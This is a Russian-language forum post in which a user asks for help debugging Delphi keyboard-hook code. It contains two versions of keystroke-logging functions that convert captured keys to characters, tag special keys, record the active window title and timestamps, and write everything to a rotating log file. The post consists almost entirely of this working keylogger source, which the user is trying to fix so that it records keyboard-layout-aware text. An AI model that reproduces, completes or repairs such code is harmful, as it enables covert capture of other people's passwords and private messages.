возникла такая ситуация, есть два куска кода функции перехватчика по преобразованию сообщений в строку, один работает, но не учитывает раскладку, второй не работает, хотя различия минимальны  я ни как не могу определить в чем косяк? рабочий вариант ( найден в сети) | Код |
function GetCharFromVKey(vkey: Word): string; var keyst : TKeyboardState; retcode : Integer; begin Win32Check(GetKeyboardState(keyst)); SetLength(Result, 2); retcode := ToAscii(vkey,MapVirtualKeyA(vkey, 0),keyst, @Result[1],0); case retcode of 0: Result := ''; 1: SetLength(Result, 1); 2: ; else Result := ''; end; end; function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall; var msg : PEVENTMSG; b : Char; s : string; begin if Code >= 0 then begin msg := Pointer(LParam); if msg.message=256 then begin Inc(line); s:=GetCharFromVKey(msg.paramL); if Length(s)>0 then begin b:=s[1]; if (line mod 80)=0 then BlockWrite(FCh,#10#13,2); BlockWrite(FCh,b,1); end; end; if FileSize(FCh)>MaxFileSize then begin CloseFile(FCh); AssignFile(FCh,GetName); ReWrite(FCh) end; result := CallNextHookEx(HkHnd, code, WParam, LParam); end; end;
|
это нерабочий( за основу лег исходник из сети) | Код | function GetChar(lparam: integer): String; var Data: PKBDLLHOOKSTRUCT; KeyState: TKeyboardState; RetCode: Integer; l: hkl; Symb: String; begin data := pointer(lparam); GetKeyboardState(keystate); l := GetKeyBoardLayout(GetWindowThreadProcessId(GetForegroundWindow)); SetLength(Result, 2) ; retcode := ToAsciiEx(data.vkCode, data.scanCode, keystate, @Result[1], 0, l); Symb := ''; case retcode of 0: Result := ''; 1: SetLength(Result, 1) ; else Result := ''; end; if (data.vkCode = LastKey) and (data.vkCode in [160..165]) then begin Result := ''; Exit; end; case data.vkCode of 112: Symb := '[F1]'; 113: Symb := '[F2]'; 114: Symb := '[F3]'; 115: Symb := '[F4]'; 116: Symb := '[F5]'; 117: Symb := '[F6]'; 118: Symb := '[F7]'; 119: Symb := '[F8]'; 120: Symb := '[F9]'; 121: Symb := '[F10]'; 122: Symb := '[F11]'; 123: Symb := '[F12]'; 8: Symb := '[BackSpace]'; 9: Symb := '[Tab]'; 13: Symb := crlf; 160, 161: Symb := '[Shift]'; 162, 163: Symb := '[Ctrl]'; 164, 165: Symb := '[Alt]'; 20: Symb:= '[CapsLock]'; 27: Symb:= '[Esc]'; 45: Symb:= '[Insert]'; 33: Symb:= '[PageUp]'; 34: Symb:= '[PageDown]'; 35: Symb:= '[End]'; 36: Symb:= '[Home]'; 37: Symb:= '[Left]'; 38: Symb:= '[Up]'; 39: Symb:= '[Right]'; 40: Symb:= '[Down]'; 46: Symb:= '[Delete]'; 44: Symb:= '[PrintScreen]'; 145: Symb:= '[ScrollLock]'; 19: Symb:= '[Pause]'; 144: Symb:= '[NumLock]'; end; if Symb <> '' then begin SetLength(Result, Length(Symb)); Result := Symb; end; LastKey := data.vkCode; end;
function KbdProc(code: Integer; wparam: Integer; lparam: Integer): Integer; stdcall; var WindCaption: array [0..150] of Char; STime: TSYSTEMTIME; msg : PEVENTMSG; begin if Wind <> GetForegroundWindow then begin Wind := GetForegroundWindow; GetWindowText(Wind, @WindCaption, 150); GetLocalTime(STime); // записать в лог заголовок окна, дату и время WriteToFile(crlf + crlf + '[' + WindCaption + ' | ' + IntToStr(STime.wDay) + '.' + IntToStr(STime.wMonth) + '.' + IntToStr(STime.wYear) + ' ' + IntToStr(STime.wHour) + ':' + IntToStr(STime.wMinute) + ':' + IntToStr(STime.wSecond) + ']' + crlf); end; {if (code < 0) or (code <> HC_ACTION) then Result := 0 else} if Code >= 0 then begin {if (wParam = $0100) or (wParam = $0104) then} msg := Pointer(LParam); if msg.message=256 then WriteToFile(GetChar(lparam)); Result := 0; end; {result := CallNextHookEx(HkHnd, code, WParam, LParam);} end;
|
| Код | const WH_KEYBOARD_LL = 13; crlf = #13#10;
type TKBDLLHOOKSTRUCT = packed record vkCode :DWORD; scanCode :DWORD; flags :DWORD; time :DWORD; dwExtraInfo :pointer; end; PKBDLLHOOKSTRUCT = ^TKBDLLHOOKSTRUCT;
|
|